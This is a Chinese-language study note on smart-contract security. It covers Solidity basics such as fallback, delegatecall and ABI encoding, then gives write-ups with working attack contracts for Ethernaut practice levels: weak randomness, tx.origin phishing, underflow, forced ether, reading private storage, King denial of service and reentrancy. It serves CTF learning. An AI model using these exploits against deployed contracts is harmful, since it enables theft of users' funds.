区块链安全学习笔记

前言

在AAA打ctf的时候了解了区块链这个新赛道,后来在学校也上过区块链安全的课程,前段时间自己抽空学习了一点区块链安全的知识,这里做个简要分享~

环境部署

现在的水房基本不太能用了,所以我们一般做题都是本地搭建一个链
先打开一个terminal,这里我在mac上搭建的

git clone git@github.com:OpenZeppelin/ethernaut.git
cd ethernaut
yarn install

然后输入

yarn network

这个时候本地的测试链就搭建好了,我们先注册metamask账号,然后连接local network截屏2023-04-18 10.06.46.png
再打开一个terminal

yarn compile:contracts//这个只需要第一次的时候调用
yarn deploy:contracts
yarn start:ethernaut  

当我们第一次成功部署好环境之后,之后重新配置环境就可以按照如下操作就好

yarn network
yarn deploy:contracts
yarn start:ethernaut  

基础知识

tx.origin和msg.sender

image.png

abi

contract.abi可以查看合约的function

sendTransaction

往以太坊合约转钱

fallback

Solidity语言中关于回退函数fallback()的定义
回退函数是一个不接受任何参数也不返回任何值的特殊函数;

  • 如果在对合约的调用中,没有其它函数与给定的函数标识符匹配时,回退函数会被调用;
  • 每当合约接收到以太币,且没有 receive 函数时,回退函数会被调用;
  • 一个合约中最多可以有一个回退函数。

如果没有给fallback函数定义payable,那就不能给他转钱,只可以弄数据

receive

  • 一个合约最多有一个 receive 函数, 声明函数为: receive() external payable { … }
  • 不需要 function 关键字,也没有参数和返回值并且必须是 external 可见性和 payable 修饰. 它可以是 virtual 的,可以被重载也可以有修改器modifier 。
  • 在对合约没有任何附加数据调用(通常是对合约转账)是会执行 receive 函数。例如 通过 .send() or .transfer() 如果 receive 函数不存在, 但是有payable 的fallback 回退函数,那么在进行纯以太转账时,fallback 函数会调用.
  • 如果两个函数都没有,这个合约就没法通过常规的转账交易接收以太(会抛出异常).
  • 更糟的是,receive 函数可能只有 2300 gas 可以使用(如,当使用 send 或 transfer 时), 除了基础的日志输出之外,进行其他操作的余地很小。

单位

以太币Ether单位之间的换算就是在数字后边加上 wei , gwei 或 ether 来实现的,如果后面没有单位,缺省为 wei。

assert(1 wei == 1);
assert(1 gwei == 1e9);
assert(1 ether == 1e18);

transfer send

截屏2023-04-18 20.26.14.png
注意看这个transfer和send的实现,都是往调用的地址去转钱

delegatecall和call和callcode

address.call(...) returns (bool)
address.delegatecall(...) returns (bool)
address.callcode(...) returns (bool)

些函数传入的参数会被填充至32字节,拼接成一个字符串序列,由EVM解析并且执行。
异同点:

  • call: 调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境
  • delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约)
  • callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境

function selector

  • 基础原型即是函数名称加上由括号括起来的参数类型列表,参数类型间由一个逗号分隔开,且没有空格
  • 对于 uint 类型,要转成 uint256 进行计算,比如 ownerOf(uint256) 其 Function Selector = bytes4(keccak256(‘ownerOf(uint256)’)) == 0x6352211e
  • 函数参数包含结构体,相当于把结构体拆分成单个参数,只不过这些参数用 () 扩起来,详细可看下面的例子
pragma solidity >=0.4.16 <0.9.0;
pragma experimental ABIEncoderV2;

contract Demo {
    struct Test {
        string name;
        string policies;
        uint num;
    }

    uint public x;
    function test1(bytes3) public {x = 1;}
    function test2(bytes3[2] memory) public  { x = 1; }
    function test3(uint32 x, bool y) public  { x = 1; }
    function test4(uint, uint32[] memory, bytes10, bytes memory) public { x = 1; }
    function test5(uint, Test memory test) public { x = 1; }
    function test6(uint, Test[] memory tests) public { x = 1; }
    function test7(uint[][] memory,string[] memory) public { x = 1; }
}

/* 函数选择器
{
    "0d2032f1": "test1(bytes3)",
    "2b231dad": "test2(bytes3[2])",
    "92e92919": "test3(uint32,bool)",
    "4d189ce2": "test4(uint256,uint32[],bytes10,bytes)",
    "4ca373dc": "test5(uint256,(string,string,uint256))",
    "ccc5bdd2": "test6(uint256,(string,string,uint256)[])",
    "cc80bc65": "test7(uint256[][],string[])",
    "0c55699c": "x()"
}
*/

function pwn() public {
    owner = msg.sender;
  }
bytes4(keccak256('pwn()')) //直接在solidity
web3.utils.keccak256("pwn()").slice(0,10) //web3
web3.eth.abi.encodeFunctionSignature('pwn()')//web3
0x4d189ce2                                                             // function selector
0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter
1 - 0x0000000000000000000000000000000000000000000000000000000000000080 // offset of second parameter
2 - 0x3132333435363738393000000000000000000000000000000000000000000000 // data of third parameter
3 - 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset of forth parameter
4 - 0x0000000000000000000000000000000000000000000000000000000000000002 // length of second parameter
5 - 0x0000000000000000000000000000000000000000000000000000000011221122 // first data of second parameter
6 - 0x0000000000000000000000000000000000000000000000000000000033443344 // second data of second parameter
7 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of forth parameter
8 - 0x3132333435000000000000000000000000000000000000000000000000000000 // data of forth parameter

/* 一些解释说明
data of first parameter: uint 定长类型,直接存储其 data
offset of second parameter: uint32[] 动态数组,先存储其 offset=0x20*4 ( 4 代表函数参数的个数 ) 
data of third parameter: bytes10 定长类型,直接存储其 data
offset of forth parameter: bytes 变长类型,先存储其 offset=0x80+0x20*3=0xe0 (0x80 是前一个变长类型的 offset,3 是前一个变长类型存储其长度和两个元素占用的插槽个数)
length of second parameter: 存储完 data 或者 offset 后,便开始存储变长数据的 length 和 data,这里是第二个参数的长度
first data of second parameter: 第二个参数的第一个数据
second data of second parameter: 第二个参数的第二个数据
length of forth parameter: 上面就把第二个变长数据存储完成,这里就是存储下一个变长数据的长度
data of forth parameter: 第四个参数的数据
*/

0x4ca373dc                                                             // function selector
0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter
1 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of second parameter
2 - 0x0000000000000000000000000000000000000000000000000000000000000060 // first data offset of second parameter
3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // second data offset of second parameter
4 - 0x000000000000000000000000000000000000000000000000000000000000007b // third data of second parameter
5 - 0x0000000000000000000000000000000000000000000000000000000000000003 // first data length of second parameter
6 - 0x6378790000000000000000000000000000000000000000000000000000000000 // first data of second parameter
7 - 0x0000000000000000000000000000000000000000000000000000000000000004 // second data length of second parameter
8 - 0x70696b6100000000000000000000000000000000000000000000000000000000 // second data of second parameter

/* 一些解释说明
data of first parameter: uint 定长类型,直接存储其 data
offset of second parameter: 结构体,先存储其 offset=0x20*2 ( 2 代表函数参数的个数) 
first data offset of second parameter: 结构体内元素可当成函数参数拆分,有三个元素,因第一个元素是 string 类型,所以先存储其 offset=0x20*3=0x60
second data offset of second parameter: 结构体第二个元素是 string 类型,先存储其 offset=0x60+0x20+0x20=0xa0 (第一个 0x20 是存储第一个 string 的长度所占大小,第二个 0x20 是存储第一个 string 的数据所占大小)
third data of second parameter: 结构体第三个元素是 uint 定长类型,直接存储其 data
first data length of second parameter: 存储结构体第一个元素的 length
first data of second parameter: 存储结构体第一个元素的 data
second data length of second parameter: 存储结构体第二个元素的 length
second data of second parameter: 存储结构体第二个元素的 data
*/

selfdestruct

image.png

重入攻击

截屏2023-04-21 20.36.44.png
其中,转账使用的是 address.call.value()() 函数,传递了所有可用 gas 供调用,是可以成功执行递归的前提条件

查看某一地址的数据

(await contract.prize()).toNumber()

https://learnblockchain.cn/docs/solidity

例题

Coin Flip

伪随机数问题,下面的值我们也可以在本地算出来的,所以直接写一个攻击的协议即可

 uint256 blockValue = uint256(blockhash(block.number - 1));
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface CoinFlip {

    function flip(bool _guess) external  returns (bool) ;
    
} 
contract attack{
    CoinFlip constant private target = CoinFlip(0x9bd03768a7DCc129555dE410FF8E85528A4F88b5);
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    uint256 lastHash;
    function guess() public{
        uint256 blockValue = uint256(blockhash(block.number - 1));
  if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;
        target.flip(side);
    }
}

把合约地址拿过来,把其他代码拿过来抄一下就好

Telephone

考察tx.orgin和msg.sender的概念,如果我们用户直接调用题目合约,那么tx.origin和msg.sender都是用户,而我们通过创建一个新的合约去调用,那么对于题目的合约来说,tx.origin还是用户,但是msg.sender就是我们的合约,就通过了if的判断

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {

  function changeOwner(address _owner) external  ;
}
contract attack{
    event Log(address);
    Telephone constant private  target=Telephone(0x4F57F9239eFCBf43e5920f579D03B3849C588396);
    function hack() public{
        emit Log(msg.sender);
        emit Log(tx.origin);
        target.changeOwner(msg.sender);
    }
}

Token

溢出问题,截屏2023-04-19 09.28.44.png

 function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

这里的balances都是uint,uint-uint还是unint,但是20-21就会变成很大,所以我们转21就好

Delegation

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

这里想修改owner只有pwn方法可以,然后注意delegatecall上下文执行环境就是我们的Delegation合约,所以只要调用pwn就会修改owner,这里还要注意一个点,
因为fallback没有加上payable

await contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})

所以我们这样就可以

await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})

force

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /_/   /
    ____/ o o 
  /~____  =ø= /
 (______)__m_m)

*/}

这是一个空合约,题目让我们只要这个合约里面有钱就赢了,但如果直接sendTranscation转账会报错, Transaction reverted: function selector was not recognized and there’s no fallback nor receive function
我们可以利用selfdestruct
最开始写合约一直转账失败,我们可以利用这个构造函数加上payable,就可以再创建的时候转入比特币,然后再利用selfdestruct强行转账

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract attack{
    constructor()  payable{
     
    }
    function explot(address _addr)   public{
        selfdestruct(payable(_addr));
    } 
 
}

unlock

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

这里第0槽是locked,然后第1槽是password,因为byts32刚好是256,占满了
读取私有变量内容

await web3.eth.getStorageAt(contract.address,1)

king

这道题目是让我们成为king以后其他人不会成为king,成为king很简单,我们可以查看prize
(await contract.prize()).toNumber
然后选一个大的值就好
然后就是要让transfer执行失败,对于send和call来说,他们就算转账失败只会返回false,但是transfer会报错,就会revet,不会继续执行,那我们就在对应的recevie里函数触发异常

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


contract attack{
    address target=0xa9b19BA63eD2fFa19f50a63Bddf5F4a0092678C7;
    constructor()  payable  public  {//创建的时候给1ether
        payable(target).call{value:100000000000000000}("");
    }

    function receive() payable external {
        require(false);
    }
  
}

这样也是可以转账的
web3.eth.sendTransaction({from:player,to:contract.address,value:100000000000000000})
这种题目我们就在构造函数里转钱就好,然后创建的时候给点ether就好
这个地方不可以用send或者是transfer,因为这两个是固定2300gas,但这里根据提示需要21400gas,就不行

elevator

简单的题,根据状态返回就好

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


contract Elevator {
  
  function goTo(uint _floor) external  {
  }
}
contract Building {
    bool public flag=false;
    Elevator constant target=Elevator(0x524F04724632eED237cbA3c37272e018b3A7967e);
  function isLastFloor(uint _floor) public returns (bool){ 
      if(!flag){
          flag=true;
          return false;
      }else{
          return true;
      }
  }
  function exploit() public{
      target.goTo(1);
  }
}

Privacy

算出在第五个,然后因为取的byte16,就感觉是前32个,加上0x就是34个,然后提交就好

(await web3.eth.getStorageAt(contract.address,5)).slice(0,34)
await contract.unlock('0xff9c98d7a9d6a5e1830825dadc3f9c96');

Re-entrancy

awaitweb3.eth.getBalance(contract.address) 获取账户余额
版本低一点,不然payable(this)还是不行

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Reentrance {
  
  function donate(address _to) external  payable {
  }

  function withdraw(uint _amount) external  {
  }

}

contract attack{
    Reentrance  target=Reentrance(0x29BDCBc116f3775698AE0ffE5F8fbBaf95F240CF);
    bool flag=true;
    constructor() payable public {
      target.donate{value:1000000000000000}(payable(this));    
    }
    function explotit()    public{
        target.withdraw(1000000000000000);
    }

    fallback()  external payable {
        if(flag){
             flag=false;
             target.withdraw(1000000000000000);
        }
    }

}

这里好像如果我用call的话转账会失败,可能是要攻击的合约gas不够,所以我们直接调用~就可以发现成功重入